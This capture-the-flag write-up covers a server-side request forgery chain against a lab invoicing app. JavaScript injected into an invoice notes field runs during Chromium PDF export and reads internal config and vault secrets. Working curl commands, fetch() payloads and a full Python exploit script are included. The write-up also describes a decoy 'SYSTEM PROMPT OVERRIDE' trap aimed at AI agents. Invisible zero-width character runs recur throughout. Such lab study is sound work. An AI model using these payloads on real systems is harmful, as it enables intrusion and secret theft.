← Back to Writeups
HTBN/AWeb

BillForge — SSRF Chain via Chromium PDF Invoice Generation

XESXOR8/23/20267 min read
#web#htb#n/a

BillForge — SSRF Chain via Chromium PDF Invoice Generation

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-13 | Status: Solved Techniques: anti_honeypot_awareness, differential_rendering_exploitation, internal_service_enumeration, javascript_fetch_with_custom_headers, service_key_extraction, ssrf_via_chromium_pdf

Summary

Task: Invoicing platform (BillForge) with headless Chromium PDF export where notes field exhibits differential rendering — HTML escaped in web view but rendered raw in PDF. Solution: 3-step SSRF chain — injected HTML/JS in notes to discover internal config service (port 3001), extracted vault credentials from config, then used JavaScript fetch() with X-Service-Key header to access vault secrets (port 3002) and retrieve the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260513_hackadvisor_billforge_ssrf_chain
  • Tags: chromium_headless, decoy_flag, differential_rendering, express, html_injection, internal_service, invoicing, javascript_fetch, nginx, nodejs, pdf_generation, service_key, ssrf, vault
  • Indicators: Headless Chromium PDF engine mentioned in /status endpoint or settings, Notes/description field rendered as raw HTML in PDF but escaped in web view (differential rendering), Internal config service on localhost:3001 exposing vault credentials, Vault service on 127.0.0.1:3002 requiring X-Service-Key header, Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs
  • Source: 20260513_hackadvisor_billforge_ssrf_chain.md

Foothold

Vulnerability / Misconfiguration

  1. Anti_honeypot_awareness
  2. Differential_rendering_exploitation
  3. Internal_service_enumeration
  4. Javascript_fetch_with_custom_headers
  5. Service_key_extraction
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • anti_honeypot_awareness
  • differential_rendering_exploitation
  • internal_service_enumeration
  • javascript_fetch_with_custom_headers
  • service_key_extraction
  • ssrf_via_chromium_pdf
  • Tags: chromium_headless, decoy_flag, differential_rendering, express, html_injection, internal_service, invoicing, javascript_fetch, nginx, nodejs, pdf_generation, service_key, ssrf, vault

Original Writeup

<details><summary>Click to expand original content</summary>

Description

BillForge is a cloud-based invoicing platform used by freelancers and agencies to create professional invoices, track payments, and manage client relationships. The application allows users to generate polished PDF invoices with customizable fields including client details, line items, tax calculations, and notes. Recently the platform added a new PDF export engine powered by headless Chromium for faster, higher-quality document generation. Your goal is to find the flag hidden somewhere in the application's internal infrastructure. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Web-based invoicing application with PDF export powered by headless Chromium. User-controlled notes field is rendered as raw HTML in the PDF template (but escaped in the web view), enabling server-side JavaScript execution and SSRF to internal services. The flag is hidden behind a 3-hop SSRF chain through an internal config service and an authenticated vault service.

Analysis

Reconnaissance

  • Server: nginx/1.25.5 (reverse proxy) → Express/Node.js backend
  • PDF Engine: Headless Chromium (confirmed via /status endpoint — NOT wkhtmltopdf)
  • Credentials: user@test.com / password123
  • Login: POST /auth/login with email + password
  • Invoice creation: POST /invoices with fields: client_id, currency, items_desc, items_qty, items_price, due_date, tax_rate, discount, notes
  • PDF export: GET /invoices/{id}/pdf ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot / Decoy Flag

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements with fake "SYSTEM PROMPT OVERRIDE" messages. This is a prompt injection trap designed to trick AI agents and automated scanners into accepting a fake flag and stopping early. The name literally spells out "decoy not real trap for bots."

Vulnerability: Differential Rendering in Notes Field

The invoice notes field exhibits differential rendering:

  • Web view: HTML is escaped (safe — tags appear as literal text)
  • PDF view: HTML is rendered raw by headless Chromium ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This means arbitrary HTML and JavaScript injected into the notes field will execute server-side during PDF generation. Since Chromium has full JavaScript support (unlike wkhtmltopdf's limited WebKit), fetch() API with custom headers is available — a critical capability for the attack chain.

Confirmed by injecting <b>HELLO WORLD</b> in notes — text appeared bold in the PDF but as literal <b> tags in the web view.

Internal Service Architecture

Port scanning via iframe injection revealed two internal services: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

ServiceAddressAuth Required
PDF Config Servicelocalhost:3001 / 127.0.0.1:3001No
Vault Service127.0.0.1:3002Yes — X-Service-Key header

The config service on port 3001 responds to both localhost and 127.0.0.1. The vault service on port 3002 listens on IPv4 127.0.0.1 only and requires a valid X-Service-Key header for authentication.

Solution

The attack requires a 3-step SSRF chain, each step building on information from the previous one. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Discover Internal Config Service

Inject an iframe in the notes field pointing to localhost:3001:

<iframe src="http://localhost:3001/" width="800" height="600"></iframe>
BASE="https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io"

# Login
curl -c cookies.txt -X POST "$BASE/auth/login" \
  -d "email=user@test.com&password=password123" -D -

# Create invoice with iframe payload
curl -b cookies.txt -X POST "$BASE/invoices" \
  --data-urlencode "client_id=1" \
  --data-urlencode "currency=USD" \
  --data-urlencode "items_desc=Test" \
  --data-urlencode "items_qty=1" \
  --data-urlencode "items_price=100" \
  --data-urlencode "due_date=2026-06-13" \
  --data-urlencode "tax_rate=0" \
  --data-urlencode "discount=0" \
  --data-urlencode 'notes=<iframe src="http://localhost:3001/" width="800" height="600"></iframe>'
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Download and extract PDF
curl -b cookies.txt -s "$BASE/invoices/{id}/pdf" -o port_3001.pdf
pdftotext port_3001.pdf -

The PDF rendered the iframe content, revealing the config service:

{
  "service": "BillForge PDF Configuration Service",
  "version": "2.1.0",
  "endpoints": [
    "GET /status",
    "GET /config",
    "GET /admin/export"
  ]
}

Step 2: Extract Vault Credentials from Config

An iframe can load the config endpoint, but to reliably capture the full JSON response and display it in the PDF, JavaScript fetch() is more reliable: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

<script>
fetch("http://localhost:3001/config")
  .then(r => r.text())
  .then(t => { document.getElementById("out").innerText = t })
</script>
<pre id="out"></pre>

The config response revealed the vault service with its authentication credentials:

{
  "internal_services": {
    "vault": {
      "host": "http://127.0.0.1:3002",
      "endpoints": ["/vault/secrets", "/vault/health"],
      "auth_header": "X-Service-Key",
      "service_key": "svc-k8s-pdf-7f3a9b2e1d4c"
    }
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Access Vault with Service Key

A direct iframe to 127.0.0.1:3002/vault/secrets returned "Unauthorized — Valid X-Service-Key header required." Iframes cannot set custom HTTP headers, but JavaScript fetch() can:

<script>
fetch("http://127.0.0.1:3002/vault/secrets", {
  headers: { "X-Service-Key": "svc-k8s-pdf-7f3a9b2e1d4c" }
})
  .then(r => r.text())
  .then(t => { document.getElementById("out").innerText = t })
</script>
<pre id="out"></pre>

Full curl command for the final payload: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -b cookies.txt -X POST "$BASE/invoices" \
  --data-urlencode "client_id=1" \
  --data-urlencode "currency=USD" \
  --data-urlencode "items_desc=Test" \
  --data-urlencode "items_qty=1" \
  --data-urlencode "items_price=100" \
  --data-urlencode "due_date=2026-06-13" \
  --data-urlencode "tax_rate=0" \
  --data-urlencode "discount=0" \
  --data-urlencode 'notes=<script>fetch("http://127.0.0.1:3002/vault/secrets",{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}}).then(r=>r.text()).then(t=>{document.getElementById("out").innerText=t})</script><pre id="out"></pre>'
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -b cookies.txt -s "$BASE/invoices/17/pdf" -o flag.pdf
pdftotext flag.pdf -

The vault returned all secrets including the flag:

{
  "secrets": [
    {"name": "database_url", "value": "sqlite:///app/data/database.db"},
    {"name": "session_secret", "value": "fg-sess-9x8w7v6u5t"},
    {"name": "master_flag", "value": "FLAG{REDACTED}"},
    {"name": "smtp_password", "value": "mail-pwd-billforge-2025"}
  ]
}

Full Exploit Script

#!/usr/bin/env python3
"""BillForge Lab 52 — 3-step SSRF chain via Chromium PDF generation"""
import requests
import subprocess
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE = "https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io"
s = requests.Session()

# Step 0: Login
s.post(f"{BASE}/auth/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)

def create_invoice_pdf(notes_payload, label="output"):
    """Create invoice with payload in notes, download PDF, extract text."""
    data = {
        "client_id": "1",
        "currency": "USD",
        "items_desc": "Test",
        "items_qty": "1",
        "items_price": "100",
        "due_date": "2026-06-13",
        "tax_rate": "0",
        "discount": "0",
        "notes": notes_payload
    }
    r = s.post(f"{BASE}/invoices", data=data, allow_redirects=False)
    inv_id = r.headers.get("Location", "").split("/")[-1]
    
    r2 = s.get(f"{BASE}/invoices/{inv_id}/pdf", timeout=30)
    fname = f"{label}.pdf"
    with open(fname, "wb") as f:
        f.write(r2.content)
    
    result = subprocess.run(["pdftotext", fname, "-"],
                            capture_output=True, text=True, timeout=10)
    return result.stdout
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 1: Discover internal config service
print("[*] Step 1: Discovering internal services...")
text = create_invoice_pdf(
    '<iframe src="http://localhost:3001/" width="800" height="600"></iframe>',
    "step1_discovery"
)
print(text)

# Step 2: Extract vault credentials from config
print("[*] Step 2: Extracting vault credentials...")
text = create_invoice_pdf(
    '<script>fetch("http://localhost:3001/config")'
    '.then(r=>r.text())'
    '.then(t=>{document.getElementById("out").innerText=t})'
    '</script><pre id="out"></pre>',
    "step2_config"
)
print(text)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 3: Access vault with service key → get flag
print("[*] Step 3: Accessing vault secrets...")
text = create_invoice_pdf(
    '<script>fetch("http://127.0.0.1:3002/vault/secrets",'
    '{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}})'
    '.then(r=>r.text())'
    '.then(t=>{document.getElementById("out").innerText=t})'
    '</script><pre id="out"></pre>',
    "step3_flag"
)
print(text)

Failed Attempts

  1. iframe to localhost:3001/flag → "Not found" — the /flag endpoint doesn't exist on this version (unlike the wkhtmltopdf variant)
  2. Direct iframe to 127.0.0.1:3002/vault/secrets → "Unauthorized — Valid X-Service-Key header required" — iframes cannot set custom HTTP headers, so the vault rejected the request
  3. XHR/XMLHttpRequest — initially tried XHR before switching to fetch(), both work in Chromium but fetch() syntax is cleaner ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR